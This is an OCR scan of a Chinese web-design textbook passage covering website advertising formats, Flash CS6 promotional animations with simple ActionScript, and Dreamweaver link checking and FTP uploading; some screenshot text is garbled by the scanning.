片 、Flash 动画 、 视 频 、 音 乐 等 媒体 形式 。 可 以 根据 需要 选取 合理 的 媒体 类 型 ， 制 作出 这 些 媒 
体 的 广告 。 视 频 、 音 乐 的 媒体 文件 通常 很 大 ， 虽 可 以 很 好 地 表现 出 广告 所 需要 的 内 容 ， 但 是 
网 页 的 下 载 速度 会 受到 影响 。 


15.3.2 ”网 站 广告 的 类 型 


网 站 中 的 广告 按照 放置 位 置 的 不 同 ， 可 以 分 为 不 同 的 类 型 。 

1. 弹出 式 广告 

弹出 式 广告 是 网 站 广告 一 种 常见 的 形式 。 用 户 打开 网 页 时 会 弹出 一 个 广告 窗 ， 这 种 广告 可 以 发 布 
一 些 信息 或 产品 。 广 告 常 常 给 用 户 一 个 有 奖 或 类 似 的 激励 ， 使 用 户 愿意 接受 广告 的 内 容 并 单 击 这 个 链 
接 。 只 要 弹出 广告 的 内 容 足够 地 吸引 人 ， 用 户 是 愿意 单 击 这 个 链接 的 。 弹 出 广告 一 般 是 用 JavaScript 
在 网 页 加 载 时 自动 打开 一 个 小 浏览 器 窗口 ， 但 有 些 浏览 器 会 拦截 这 些 弹 出 广告 。 如 图 15-74 所 示 为 网 
页 中 的 弹出 广告 。 
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图 15-74 ”网 页 中 的 弹出 广告 

2. 通栏 广告 

在 网 站 的 顶部 、 中 部 或 底部 常会 有 一 个 通栏 广告 ， 通 栏 广告 常 作为 较 大 网 页 的 分 屏 标志 。 这 种 广 
告 常 使 用 较 鲜 艳 的 颜色 ， 给 人 醒目 的 感觉 ， 打 开 页 面 就 能 吸引 用 户 的 注意 力 。 通 栏 广告 常 是 完全 占据 
一 个 版 面 的 通栏 ， 也 可 以 是 两 个 或 几 个 广告 排列 在 一 起 占据 一 个 通栏 。 处 于 分 屏 位 置 的 通栏 广告 ， 布 
局 较为 分 散 ， 用 户 不 容易 产生 反感 情绪 ， 使 广告 效果 有 所 提高 。 如 图 15-75 所 示 为 网 页 中 的 通栏 广告 。 

3. 漂移 广告 

漂移 广告 是 一 个 广告 在 网 页 上 做 无 规则 地 移动 。 漂 移 广告 大 多 为 80mmX 80mm 的 正方 形 ， 始 终 处 
在 用 户 可 以 看 到 的 范围 内 移动 。 漂 移 广告 如 果 常 在 网 页 中 做 无 规则 的 慢 慢 移动 ， 会 影响 网 页 的 效果 
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使 用 户 产生 反感 情绪 。 因 此 漂移 也 可 以 制作 成 定位 在 屏幕 底部 ， 拉 动 滚动 条 时 ， 广 告 沿 垂直 方向 向 下 
移动 。 还 有 一 种 是 扩展 广告 ， 用 户 将 鼠标 光标 移动 到 这 一 个 位 置 时 ， 就 会 显示 出 一 个 广告 内 容 。 如 果 
用 户 在 几 秒 内 没有 单 击 ， 这 个 广告 会 自动 隐藏 。 如 图 15-76 所 示 为 网 页 中 的 漂移 三 告 。 
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图 15-75 ”网 页 中 的 通栏 广告 
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图 15-76 网 页 中 的 漂移 广告 


4. 按钮 广告 


按钮 广告 是 网 页 中 最 常用 的 广告 形式 。 并 不 是 每 一 个 客户 都 可 以 购买 较 大 的 广告 区 域 。 在 网 页 中 
有 很 多 广告 只 提供 一 个 较 小 的 链接 或 是 较 小 的 图 片 链接 ， 用 户 打 开 这 个 链接 会 看 到 相应 的 广告 。 这 种 
广告 的 内 容 较 少 ， 需 要 用 动态 内 容 或 鲜艳 色彩 吸引 用 户 的 注意 。 如 图 15-77 所 示 为 网 页 中 的 按钮 广告 
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如 果 RE 
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图 15-77 网 页 中 的 按钮 广告 
5. 画 中 画 广告 


在 网 站 的 三 级 网 页 中 常 有 一 个 很 大 布局 的 广告 ， 称 作画 中 画 广告 。 其 所 占 区 域 较 大 ， 而 且 同 一 个 
栏目 的 三 级 页 面 都 显示 同一 个 广告 。 用 户 在 单 击 这 些 三 级 网 页 时 会 看 到 同一 个 广告 ， 在 多 次 重复 查看 
后 能 给 人 留 下 深刻 的 印象 。 如 图 15-78 所 示 为 网 页 中 的 画 中 画 广告 。 

6. 声音 广告 

声音 广告 是 一 种 用 听觉 方式 表现 的 广告 ， 用 户 在 打开 网 页 时 会 自动 播放 一 段 声音 。 这 些 播 放 的 声 


声 
音 就 是 声音 广告 。 
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图 15-78 ”网 页 中 的 画 中 画 广告 
其 他 的 广告 形式 还 有 全 屏 广告 、 游 戏 广告 、 三 维 网 络 广告 等 。 网 页 中 广告 的 表现 形式 很 多 ， 只 要 
可 以 吸引 用 户 的 注意 力 ， 很 多 用 户 愿 意 接受 广告 的 内 容 ， 网 页 中 的 内 容 就 是 广告 。 


15.4 制作 网 页 广告 实例 


有 很 多 网 页 在 打开 时 ， 会 加 载 一 个 较 大 的 Flash 动画 。 这 种 Flash 动画 通常 有 很 好 的 视觉 效果 (用 
户 也 可 以 选择 跳 过 这 段 广告 ) ， 这 种 广告 就 是 Flash 宣传 广告 。 


15.4.1 设计 Flash 宣传 广告 


这 里 以 个 人 网 站 首页 的 Flash 宣传 广告 为 例 ， 设 计 一 个 宣传 片 动画 。 

设计 思路 : 动画 中 主要 的 内 容 是 表现 旅游 景点 的 照片 ， 并 显示 出 一 些 文字 。 设 计 步 又 如 下 : 

(1) 用 Fireworks 编辑 与 处 理 动画 中 所 需要 的 图 片 ， 图 片 应 该 调整 为 合适 的 大 小 。 

(2) 在 Flash CS6 中 选择 “文件 ”| “新 建 ”命令 ， 新 建 一 个 影片 。 在 影片 的 工作 区 中 右 击 ， 在 
弹出 的 快捷 菜单 中 选择 “文档 属性 ”命令 ， 在 弹出 的 “文档 设置 ”对 话 框 中 设置 影片 的 属性 。 影 片 属 
性 设置 主要 是 设置 影片 的 大 小 与 背景 颜色 ， 如 图 15-79 所 示 。 
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15-79 影片 的 属性 设置 
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(3) 新 建 图 层 。 选 择 “ 插 入 ” | “时 间 轴 ”| “图 层 ” 命 令 ， 在 时 间 轴 上 新 建 一 个 图 层 。 用 同样 
的 方法 ， 再 新 建 两 个 图 层 。 对 4 个 图 层 分 别 重 命名 为 “图 片 1”、“ 图 片 2”、“ 图 片 3” 和 “图 片 4”。 

(4) 选择 “文件 ”| “导入 ”| “导入 到 舞台 ”命令 ， 在 影片 中 导入 已 经 准备 好 的 图 片 ， 分 别 在 
4 个 图 层 中 导入 图 片 。 将 每 张 图 片 转换 为 元 件 ， 并 将 每 张 图 片 制作 出 淡出 、 变 色 、 淡 出 效果 。 影 片 的 时 
间 轴 与 图 层 如 图 15-80 所 示 。 
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图 15-80 动画 中 的 图 层 与 时 间 轴 


(5) 播放 这 个 影片 ， 效 果 如 图 15-81 所 示 。 

(6) 选择 “插入 ”| “场景 ”命令 ， 在 影片 中 插入 一 个 场景 。 

(7) 在 场景 2 上 制作 文字 缩放 效果 。 在 这 个 场景 中 制作 有 滚动 效果 的 文字 ， 文 字 制 作出 依次 变 大 
的 效果 。 选 择 场景 2， 插 入 一 个 文本 。 右 击 该 文本 ， 在 弹出 的 快捷 菜单 中 选择 “分 散 到 图 层 ”命令 。 如 
图 15-82 所 示 为 一 个 文本 分 散 到 图 层 以 后 的 时 间 线 和 图 层 。 


图 15-81 播放 动画 时 的 效果 图 15-82 将 文本 分 散 到 图 层 
(8) 按 住 Shift 键 ， 选 择 所 有 的 文字 图 层 ， 插 入 关键 帧 。 在 多 个 图 层 中 插入 关键 帧 后 的 时 间 轴 如 


图 15-83 所 示 。 
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图 15-83 在 多 个 图 层 中 同时 插入 关键 帧 
(9) 选择 所 有 的 文字 图 层 ， 创 建 这 些 文字 变形 的 补 间 动 画 。 
(10) 依次 选择 图 层 ， 拖 动 帧 的 位 置 ， 实 现 文字 的 依次 出 现 。 文 字 依 次 出 现 的 图 层 与 时 间 线 如 
图 15-84 所 示 。 
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图 15-84 ”移动 图 层 中 帧 的 位 置 
(11) 按 Enter 键 ， 预 览 动画 ， 文 字 依次 出 现 的 效果 如 图 15-85 所 示 。 
(12) 选择 “文件 ”| “发 布设 置 ”命令 ， 在 弹出 的 “发 布设 置 ”对 话 框 中 设置 影片 的 导出 属性 ， 
然后 单 击 “ 发 布 ”按钮 ， 发 布 导出 影片 。 
(13) 找到 发 布 的 SWF 影片 ， 双 击 打开 并 播放 这 个 影片 ， 效 果 如 图 15-86 所 示 
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图 15-85 ” 逐 字 出 现 变 大 的 文字 图 15-86 影片 播放 的 效果 
15.4.2 ”给 Flash 添加 链接 


在 Flash 影片 中 添加 链接 有 两 种 方式 。 一 种 方式 是 直接 在 文本 中 设置 链接 ， 先 选择 需要 插入 链接 的 
文本 ， 再 在 链接 的 “属性 ”面板 中 输入 链接 的 URL 与 目标 ， 如 图 15-87 所 示 。 
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属性 | 值 | 


图 15-87 在 Flash 中 插入 链接 


另 一 种 方式 是 用 按钮 元 件 的 方式 ， 利 用 编程 的 方式 实现 Flash 的 链接 ， 如 15.2.9 节 中 实现 Flash 的 
按钮 链接 。 


先 15 章 使 用 Flash 设计 网 站 动 天 和 See 


15.4.3 ”制作 控制 声音 播放 动画 


在 Flash 影片 中 可 以 导入 音乐 文件 ， 在 播放 Flash 影片 时 同时 播放 音乐 。 插 入 背景 音乐 的 Flash 影 
片 有 很 好 的 效果 。 其 操作 步骤 如 下 : 

(1) 在 Flash CS6 中 选择 “文件 ”| “新 建 ”命令 ， 新 建 一 个 影片 。 

(2) 导入 音乐 文件 。 选 择 “ 文 件 ”| “导入 ”| “导入 到 库 ” 命 令 ， 选 择 一 个 音乐 文件 ， 把 一 段 
音乐 导入 到 库 作为 一 个 Flash 元 件 。 如 图 15-88 所 示 为 元 件 库 中 导入 到 Flash CS6 中 的 音乐 文件 。 

(3) 在 影片 中 加 入 音乐 。 在 Flash 影片 的 一 个 图 层 中 ， 把 这 个 音乐 元 件 拖 入 到 工作 区 ， 即 可 在 影 
片 中 插入 一 段 音乐 ， 影 片 播放 时 会 自动 播放 这 段 音乐 。 如 图 15-89 所 示 为 影片 加 入 了 音乐 以 后 的 图 层 
与 时 间 线 。 
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图 15-88 ” 库 中 导入 的 音乐 文件 图 15-89 控制 音乐 播放 的 Flash 图 层 与 时 间 线 


(4) 控制 音乐 的 播放 。 需 要 制作 控制 音乐 播放 的 按钮 与 相关 的 提示 文本 ， 来 控制 音乐 的 播放 。 可 


以 使 用 公用 库 中 己 有 的 按钮 元 件 ， 将 所 需要 的 按钮 元 件 插入 到 影片 中 ， 插 入 提示 文本 ， 按 如 图 15-90 
所 示 进 行 布局 。 


音乐 播放 与 控制 


图 15-90 控制 音乐 播放 的 Flash 的 布局 方式 


(5) 编写 控制 脚本 。 单 击 STOP (停止 ) 按钮 ， 再 按 F9 键 ， 在 “动作 ”对 话 框 中 输入 鼠标 事件 与 
声音 停止 的 语句 ， 如 图 15-91 所 示 。 

(6) 开始 播放 音乐 。 在 Flash 的 脚本 中 并 没有 控制 声音 重新 播放 的 指令 , 要 实现 声音 的 再 次 播放 ， 
可 以 使 影片 重新 播放 第 1 帧 ， 这 样 可 以 使 影片 中 的 声音 再 次 播放 。 控 制 脚本 如 图 15-92 所 示 。 
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图 15-91 STOP (停止 ) 按钮 的 动作 图 15-92 开始 播放 影片 中 的 声音 
(7) 设置 影片 的 导出 属性 并 导出 这 个 影片 。 在 “声音 设置 ”对 话 框 中 对 音频 流 进行 设置 ， 主 要 是 
设置 影片 中 音乐 的 保存 质量 ， 如 图 15-93 所 示 。 


(8) 播放 这 个 影片 ， 效 果 如 图 15-94 所 示 。 可 以 单 击 PLAY (播放 ) 按钮 ， 对 影片 中 的 音乐 播放 
进行 控制 。 
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图 15-93 设置 音乐 输出 质量 图 15-94 影片 中 控制 音乐 的 播放 
15.5 实例 : 制作 一 个 广告 性 质 的 宣传 动画 
Flash 动画 的 制作 ， 主 要 是 关键 帧 和 层 的 操作 。 本 节 将 讲解 一 个 网 页 中 Flash 广告 一 一 颐和园 公园 


他 


先 15 章 使 用 Flash 设计 网 站 吉大 和 See 


宣传 动画 的 制作 过 程 。 

(1) 确定 Flash 动画 广告 要 表现 的 内 容 。 同 其 他 的 广告 设计 一 样 ， 在 设计 Flash 广告 以 前 也 要 对 
广告 的 内 容 进行 明确 与 定位 。 本 例 中 动画 的 主题 是 宣传 颐和园 的 风光 景色 ， 所 表现 的 内 容 应 该 以 颐 和 
园 的 景色 为 主 ， 所 使 用 的 色调 与 设计 元 素 应 该 与 颐和园 的 自然 风光 一 致 。 

(2) 确定 广告 动画 的 长 度 与 具体 情节 过 程 。 这 个 过 程 如 同 拍 电影 一 样 , 需要 确定 这 个 动画 的 长 度 ， 
分 几 个 场景 ， 并 确定 每 个 场景 的 长 度 与 内 容 。 假 设 本 例 中 只 有 两 个 内 容 ， 一 个 是 滚动 的 颐和园 文字 ， 
另 一 个 是 颐和园 图 片 的 交替 显示 。 

(3) 准备 Flash 动画 的 素材 。Flash 动画 中 的 图 片 、 文 本 、 音 乐 等 内 容 ， 需 要 进行 准备 与 选择 。 如 
果 是 产品 图 片 ， 需 要 对 产品 进行 拍摄 和 对 照片 进行 处 理 。 

(4) 开始 制作 动画 。 在 Flash 中 新 建 动画 ， 对 影片 的 属性 进行 设置 。 

(5) 制作 滚动 文字 。 文 字 作为 一 个 图 片 元 件 ， 滚 动 文字 是 用 一 个 文字 遮 罩 层 与 滚动 的 背景 实现 
的 。 图 层 关系 如 图 15-95 所 示 。 
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图 15-95 遮 界 文字 的 图 层 


(6) 颜色 滚动 的 文字 是 用 一 个 文本 作为 遮 罩 ， 再 用 一 个 滚动 的 背景 实现 颜色 滚动 的 。 文 本 与 背景 
的 排列 方式 如 图 15-96 所 示 。 

(7) 制作 图 片 滚动 显示 效果 。 图 片 的 滚动 显示 就 是 图 片 以 透明 度 渐变 的 方式 出 现 与 消失 ， 每 张 图 
片 一 个 图 层 。 图 层 与 关键 帧 的 制作 如 图 15-97 所 示 。 


习 乙 名 1 am as ED 
图 15-96 遮 罩 文字 的 制作 图 15-97 ”滚动 图 片 的 关键 帧 与 图 层 


(8) 将 两 个 制作 好 的 图 形 元 件 放置 到 一 个 场景 的 两 个 图 层 中 ， 两 个 图 形 会 分 别 播放 。 影 片 的 播放 
效果 如 图 15-98 所 示 。 

(9) 可 以 在 影片 中 插入 一 段 音乐 ， 这 样 在 播放 影片 时 会 自动 播放 背景 音乐 。 

(10) 导出 影片 。 在 影片 导出 前 ， 需 要 对 播放 器 版 本 、 影 片 中 图 片 质量 进行 设置 。 

(11) 新 建 一 个 网 页 ， 在 网 页 中 插入 这 个 动画 。 运 行 网 页 的 效果 如 图 15-99 所 示 。 
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图 15-98 ”网 页 中 文本 与 滚动 图 片 图 15-99 在 网 页 中 插入 宣传 动画 


15.6 常见 问题 


在 网 页 中 插入 精美 的 Flash 动画 可 以 增强 网 页 的 视觉 效果 。 在 制作 Flash 动画 时 , 还 需要 了 解 Flash 
版 本 、Flash 脚本 使 用 等 问题 。 


15.6.1 ”Flash 播放 器 版 本 与 Flash 版 本 的 问题 


Flash 经 过 了 很 多 次 的 升级 ， 每 一 次 升级 都 会 在 原 有 版 本 的 基础 上 增加 一 些 新 的 功能 。 这 些 功 能 都 
增强 了 Flash 的 功能 。 

一 般 来 说 ，Flash 的 升级 包括 Flash 影片 的 升级 与 Flash 播放 器 的 升级 。 新 版 本 的 Flash 播放 器 可 以 
完全 兼容 旧版 本 的 Flash 影片 ， 新 版 本 的 影片 在 旧版 本 的 播放 器 上 播放 时 可 能 不 能 播放 或 不 能 正常 播 
放 。 所 以 ，Flash 制作 完成 后 ， 在 导出 时 需要 根据 使 用 的 对 象 设置 不 同 的 影片 导出 版 本 ， 这 样 可 以 保证 
Flash 影片 正常 播放 。 

例如 ， 在 网 页 中 的 Flash 影片 ， 现 有 的 正 浏览 器 一 般 默 认 没 有 安装 Flash 14.0。 如 果 网 页 中 有 14.0 
版 的 Flash 动画 , 就 可 能 无 法 正常 播放 。 这 些 浏览 器 一 般 会 自动 下 载 较 高 版 本 的 播放 器 并 提示 用 户 安装 。 


15.6.2 怎样 在 影片 中 使 用 脚本 


ActionScript 是 Flash 专用 的 编程 语言 。 主 要 功能 是 在 Flash 中 实现 对 Flash 元 件 对 象 的 编程 ， 扩 展 
Flash 动画 的 交互 功能 。 

ActionScript 与 JavaScript 编程 语言 很 相似 ， 同 样 具有 函数 、 变 量 、 语 句 、 操 作 符 、 条 件 和 循环 等 
基本 的 编程 知识 与 方法 。 了 解 JavaScript 的 用 户 可 以 方便 地 使 用 ActionScript 进行 编程 ,不 了 解 JavaScript 
的 用 户 也 可 以 直接 学 习 和 使 用 ActionScript。 与 JavaScript 不 同 的 是 ，ActionScript 不 支持 浏览 器 特有 的 
对 象 ， 如 文档 、 窗 口 和 锚 点 。 

在 进行 ActionScript 编程 时 ,可 以 在 专家 模式 下 直接 编写 代码 ,也 可 以 利用 动作 管理 器 的 自动 生成 
与 提示 功能 ， 在 脚本 的 提示 下 进行 脚本 内 容 的 设置 。 动 作 管理 器 可 以 自动 生成 所 需要 的 代码 。 
例如 ， 可 以 用 以 下 步骤 建立 一 个 拖 动 的 小 球 。 

(1) 新 建 一 个 动画 文件 。 设 置 宽度 为 400 像素 ， 高 度 为 300 像素 ， 背 景 为 白色 。 

(2) 用 椭圆 工具 建立 一 个 小 球 ， 选 择 “ 放 射 状 ”填充 ， 使 小 球 有 较 好 的 球面 效果 。 选 择 小 球 并 右 
后， 在 弹出 的 快捷 菜单 中 选择 “转换 成 元 件 ” 命 令 ， 把 小 球 转换 为 一 个 影片 剪辑 元 件 ， 命 名 为 ball。 
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第 15 章 使 用 Flash 设计 网 站 动画 


(3) 新 建 两 个 文本 用 来 显示 小 球 的 位 置 。 文 本 设置 为 动态 文本 ， 设 置 文本 的 字体 样式 ， 新 建 一 个 
标题 文本 。 小 球 和 标题 的 布局 如 图 15-100 所 示 。 
(4) 上 面 4 个 元 件 分 别 放置 在 不 同 的 图 层 上 ， 将 图 层 分 别 命名 ， 如 图 15-101 所 示 。 
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15-100 新建 一 个 小 球 与 文本 图 15-101 动画 图 层 


(5) 选择 小 球 ， 按 F9 键 ， 在 动作 管理 器 中 写 入 小 球 的 鼠标 事件 代码 ， 如 图 15-102 所 示 。 
(6) 下 面 是 影片 中 小 球 与 文本 的 动作 脚本 。 


on(press) 

。 this.startDrag(); /鼠标 拖 动 时 ， 小 球 被 拖 动 

全 

this.stopDrag(); /| 鼠标 释放 时 ， 小 球 停止 运动 
this._parent.t_x.text="X: "+ this._x; // 显 示 小 球 的 坐标 位 置 文本 


this._parent.t_y.text ="Y: " + this._y; 
} 
(7) 按 Ctrl+Enter 快捷 键 播放 影片 ， 如 图 15-103 所 示 为 影片 播放 效果 。 用 鼠标 拖 动 小 球 时 ， 小 球 
会 相应 移动 ， 在 两 个 动态 文本 中 会 显示 出 小 球 的 坐标 。 


图 15-102 小 球 的 鼠标 事件 代码 图 15-103 ”小 球 的 动作 
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(8) 选择 “文件 ”| “导出 ”| “导出 影片 ”命令 ,对 影片 进行 设置 ， 青 导出 影片 ， 在 网 页 中 即 
可 插入 这 个 动画 。 

网 页 中 的 影片 也 可 以 实现 这 种 拖 动 效果 ， 用 这 种 Flash 动画 的 方法 可 以 在 网 页 中 制作 很 多 小 游戏 、 
聊天 、 表 单 等 内 容 。 


15.6.3 ”怎样 制作 Flash 导航 条 


Flash 的 导航 条 常常 制作 成 一 排 按钮 菜单 。 这 些 菜单 按照 一 定 的 方式 折 县 ， 当 鼠标 经 过 菜单 时 ,会 
有 很 好 的 动态 效果 。 当 单 击 这 些 按钮 时 ， 可 以 链接 到 相应 的 网 页 。 

Flash 导航 条 制作 完成 以 后 ， 这 些 链 接 就 只 能 在 Flash 中 更 改 。Flash 的 更 改 有 些 困 难 ， 所 以 在 制作 
Flash 导航 条 时 需要 确定 每 一 个 链接 的 URL。 


15.6.4 ”关于 纯 Flash 网 站 的 制作 


有 一 些 网 站 是 完全 使 用 Flash 设计 出 来 的 ， 这 样 的 网 站 通常 有 着 非常 好 的 美术 效果 与 强大 的 交互 
功能 。 

Flash 借助 于 ActionScript 脚本 ， 可 以 与 服务 器 、JavaScript 脚本 进行 各 种 数据 交互 ， 进 而 达到 用 户 
与 网 站 进行 数据 交互 的 功能 。Flash 通过 组 件 设计 出 表单 、 按 钮 、 数 据 表格 等 交互 内 容 ， 通 过 程序 实现 
复杂 数据 交互 。 

Flash 可 以 实现 复杂 的 数据 人 逻辑 与 交互 ， 可 以 利用 这 一 点 做 成 在 线 游戏 、 考 试 、 聊 天 等 功能 。 在 复 
杂 数 据 与 复杂 界面 的 网 站 中 ，Flash 是 一 个 很 好 的 发 展 方向 。 

纯 Flash 的 网 站 并 不 是 完全 没有 HTML 网 页 ， 而 是 网 页 中 没有 多 少 HTML 代码 ， 直 接 在 网 页 中 插 
入 一 个 Flash 动画 。 网 页 中 可 能 需要 编写 JavaScript 脚本 实现 数据 交互 。 
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Flash 可 以 很 好 地 实现 网 站 中 动画 媒体 的 效果 ， 通 过 Flash 可 以 增强 网 站 的 视觉 效果 。 本 章 讲述 了 
网 站 的 一 些 Flash 应 用 和 简单 的 Flash 制作 知识 。 

Flash 动画 制作 包括 美术 设计 与 编程 两 方面 的 知识 ， 是 一 种 综合 的 开发 应 用 。 这 些 知 识 只 能 实现 简 
单 的 动画 制作 。ActionScript 是 一 种 强大 的 编程 工具 ， 可 以 借助 于 Flash 完成 许多 功能 强大 的 程序 。 如 
果 要 开发 出 更 复杂 的 Flash 动画 ， 需 要 对 这 一 方面 的 知识 进行 系统 的 学 习 与 运用 。 
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第 16 章 网 站 的 测试 与 发 布 
第 17 章 网 站 的 日 常 维护 
第 18 章 网 站 的 宣传 推广 
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闪 ” 咎 点 的 测 乱 
My。 检查 链接 
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网 站 的 测试 就 是 检查 网 站 中 的 链接 ， 修正 出 现 错误 的 链接 。Dreamweaver 已 经 提供 
了 方便 的 网 站 测试 功能 , 能 自动 对 网 站 中 的 所 有 链接 进行 检测 。 网 站 完成 制作 与 测试 以 后 ， 
需要 将 网 站 发 布 到 网 站 服务 器 上 。 这 样 ， 网 站 就 可 以 在 服务 器 上 运行 ， 供 用 户 浏 览 。 


16.1 站 点 的 测试 


使 用 Dreamweaver 测试 网 站 时 ， 需 要 配置 网 站 的 站 点 ， 根 据 前 面 所 讲解 的 知识 完成 站 点 配置 。 
Dreamweaver 只 能 针对 一 个 站 点 进行 测试 ， 不 能 针对 一 个 文件 夹 或 文件 进行 站 点 测试 。 


16.1.1 检查 断 掉 的 链接 


在 Dreamweaver CS6 中 选择 “站 点 ”| “检查 站 点 范围 的 链接 ”命令 ，Dreamweaver 即 可 自动 检 
查验 证 站 点 中 所 有 的 链接 ， 然 后 把 链接 测试 结果 分 类 显示 在 “链接 检查 器 ”标签 中 。 如 图 16-1 所 示 是 
链接 检查 器 中 显示 的 链接 测试 结果 。 


二 直 | 站 点 根 千 | FTp 记 录 | 服务 哺 衣 区 | 
找 接 文件 在 本 地 二 人 没有 找到 ) 


一 _ 电 挤 83 纲 接 | 
Staspdn<% 


aboutus.asp 
Connecdionsjaaa 
Connections/aa3 


总 共 好 个 ，25 个 HTML， 坦 个 预 立 文件 。 总 共 24 个 锐 接 ，15 个 正确 ,4 个 断 挤 ，5 个 外 部 网 接 
16-1 链接 检查 结果 


链接 检查 器 中 显示 了 错误 的 链接 。 单 击 错误 链接 ， 可 以 直接 修改 这 个 链接 指向 的 URL， 而 不 在 网 
页 中 编辑 ， 非 常 方便 。 


16.1.2 ”检查 外 部 链接 


在 “链接 检查 器 ”标签 的 “显示 ”下 拉 菜 单 中 ， 可 以 选择 检测 结果 的 类 型 。 需 要 查看 网 站 中 指向 
外 部 网 站 的 超级 链接 时 ， 在 “显示 ”下 拉 菜 单 中 选择 “外 部 链接 ”选项 。 如 图 16-2 所 示 显 示 的 是 网 站 
中 指向 外 部 网 站 的 链接 。 外 部 链接 的 正确 性 不 能 自动 测试 ， 设 计 查 看 这 些 URL 是 否 正确 。 
[280SR 告 | FTP 记 录 | 服 SU 试 ， -三 


怒 按 检查 斌 
显示 (5} | 外 部 链接 ”| (链接 到 站 点 外 的 页 面 ， 不 能 检查 ) 
文件 


Eoy 


oasp 
riteasp 


名 共 可 不， 本 个 HTML， 二 个 预 立 文件 。 总 共 24 个 拉 接 ， 二 个 正确 ,+ 个 断 挤 ，5 个 外 部 骨 接 
16-2 在 Dreamweaver 中 检查 网 站 指向 外 部 的 链接 


16.1.3 ”检查 孤立 文件 


网 站 中 可 能 有 这 样 一 些 网 页 或 文件 ， 没 有 任何 一 个 网 页 或 链接 指向 这 个 文件 ， 这 个 文件 也 没有 指 


Naas mw ase 


向 其 他 网 页 的 链接 ， 这 些 文 件 称 为 孤立 文件 。 网 站 的 孤立 文件 常常 用 作 直 接 输 入 URL 独立 访问 。 
Dreamweaver 可 以 自动 检测 出 站 点 中 的 这 些 孤立 文件 。 如 同 检测 指向 外 部 的 链接 一 样 ， 在 “显示 ” 
下 拉 菜 单 中 选择 “孤立 的 文件 ”选项 ， 链 接 检 查 器 就 能 自动 检查 出 这 些 链 接 显示 列表 。 


16.2 网 页 的 上 传 


网 站 的 运行 需要 有 一 个 网 站 服务 器 来 支持 。 一 般 较 小 的 网 站 就 是 租用 一 个 FTP 网 站 空间 来 放置 和 
运行 网 站 。 网 页 的 上 传 就 是 将 已 经 制作 完成 的 网 站 上 传 到 已 经 申请 的 服务 器 空间 上 。 

网 页 上 传 与 管理 远程 网 站 文件 常用 的 操作 有 上 传 、 下 载 、 重 命名 文件 、 创 建 目 录 、 删 除 文件 等 ， 
这 些 操作 与 本 地 计算 机 的 操作 类 似 。 

常用 网 站 上 传 有 3 种 方法 : 用 Dreamweaver 的 FTP 功能 上 传 、 用 LeapFTP 软件 上 传 、 用 Windows 
自 带 的 命令 行 工具 上 传 。 


16.2.1 利用 Dreamweaver 上 传 网 页 


用 Dreamweaver 定义 站 点 时 ， 需 要 先 添加 这 个 站 点 的 远程 服务 器 ， 然 后 就 可 以 方便 地 使 用 
Dreamweaver 自 带 的 FTP 功能 实现 站 点 远程 文件 管理 。 

在 站 点 设置 时 ， 新 添加 一 个 服务 器 ， 然 后 在 “连接 方法 ”下 拉 列 表 框 中 选择 FTP 选项 ， 然 后 再 对 
网 站 的 FTP 服务 器 进行 设置 。 如 图 16-3 所 示 是 在 站 点 管理 中 设置 网 站 的 FTP 服务 器 信息 。 填 写 这 些 
信息 以 后 ， 单 击 “ 测 试 ”按钮 ， 来 测试 FTP 服务 器 的 设置 是 否 正确 。 
一 一 一 一 一 内置 来 自 
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轨 _ 珊 式 | 
加 


图 16-3 在 站 点 管理 中 设置 站 点 的 FIP 服务 器 信息 


正确 设置 站 点 的 FTP 服务 器 以 后 ， 即 可 方便 地 管理 网 站 的 远程 文件 。 在 站 点 管理 器 中 ， 右 击 一 个 
文件 ， 在 弹出 的 快捷 菜单 中 选择 “上传 ”命令 ， 即 可 把 文件 上 传 到 FTP 服务 器 中 ; 选择 “获取 ”命令 ， 
即 可 将 FTP 服务 器 中 的 文件 下 载 到 本 地 。 如 果 文件 同名 时 ， 将 会 覆盖 已 有 文件 。 
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有 多 个 文件 时 ， 可 以 按 住 Shift 键 选择 多 个 文件 ， 进 行 上 传 与 获取 操作 。 
也 可 以 在 “站 点 管理 器 ”中 选择 “展开 ”选项 ， 即 可 同时 显示 本 地 与 远程 文件 。 展 开 “ 站 点 管理 
器 ”以 后 ， 单 击 “连接 到 远 端 主机 ”按钮 ， 即 可 显示 远程 文件 夹 与 文件 ， 如 图 16-4 所 示 。 


DW xx AS ESEM wl) 国 。 忆 。 呈 - Ws -. [EL-LoLx | 
ep mlelEys 13 人 他 名 各 | 同 


又 件 天 20141916 23:53 一 
文件 均 。 20141918 22:52 一 
又 件 天 。 2014/9/8 23:53 一 
DB HmL 文件 2014/5/15 15:23 
DB HmL 文件 2014/5/15 15:09 
TB mL 文件 2014/5/15 15:29 
3 层 委 样 .. .2014/9/8 23:17 
TB HmL 文件 2014/918 23:13 
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图 16-4 用 Dreamweaver 管理 本 地 与 远程 文件 
这 时 ， 选 择 本 地 文件 或 远程 文件 ， 可 以 方便 地 实现 文件 的 上 传 与 下 载 操作 。 


16.2.2 ”使 用 LeapFTP 软件 上 传 文件 


有 一 些 专门 的 FTP 管理 软件 ， 可 以 方便 地 实现 网 站 的 上 传 与 网 站 文件 的 管理 。 网 络 上 可 以 下 载 到 
免费 的 FTP 客户 端 软 件 。1.2.10 节 已 经 详细 讲述 了 网 站 管理 软件 LeapFTP 的 使 用 ，LeapFTP 是 一 个 功 
能 强大 的 FTP 客户 端 软件 。 


1. LeapFTP 的 工具 栏 


LeapFTP 的 工具 栏 可 以 方便 地 实现 FTP 文件 上 传 和 服务 器 文件 管理 的 操作 。 如 图 16-5 所 示 为 
LeapFTP 的 工具 栏 。 


XX| 匡 哆 | 如 高光 | 图 轩 区 羡 | 国 有 太 | 宫 加 | | 
图 16-5 LeapFTP 的 工具 栏 


连接 到 服务 器 : 输入 了 登录 信息 以 后 ， 用 这 个 工具 可 以 连接 到 服务 器 。 
从 服务 器 断 开 : 从 服务 器 断 开 现 有 的 FTP 连接 。 

中 断 操 作 : 中断 正 在 上 传 或 下 载 的 操作 。 

站 点 管理 器 : 管理 LeapFTP 的 站 点 。 

偏好 设置 : 对 LeapFTP 的 软件 参数 进行 设置 。 

传输 列队 : 将 列队 中 的 文件 下 载 或 上 传 。 

添加 文件 到 列队 : 将 选择 的 文件 添加 到 文件 列队 。 

清除 列队 : 清除 现 有 的 列队 。 


加 回回 轿 回 几 轿 加 
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查看 文件 : 查看 选择 的 文件 ， 也 可 以 查看 服务 器 上 的 文件 。 
编辑 文件 : 用 计算 机 中 的 编辑 工具 对 文件 进行 编辑 。 编 辑 服务 器 上 的 文件 以 后 ， 保 存 时 会 自 
动 上 传 到 服务 器 。 
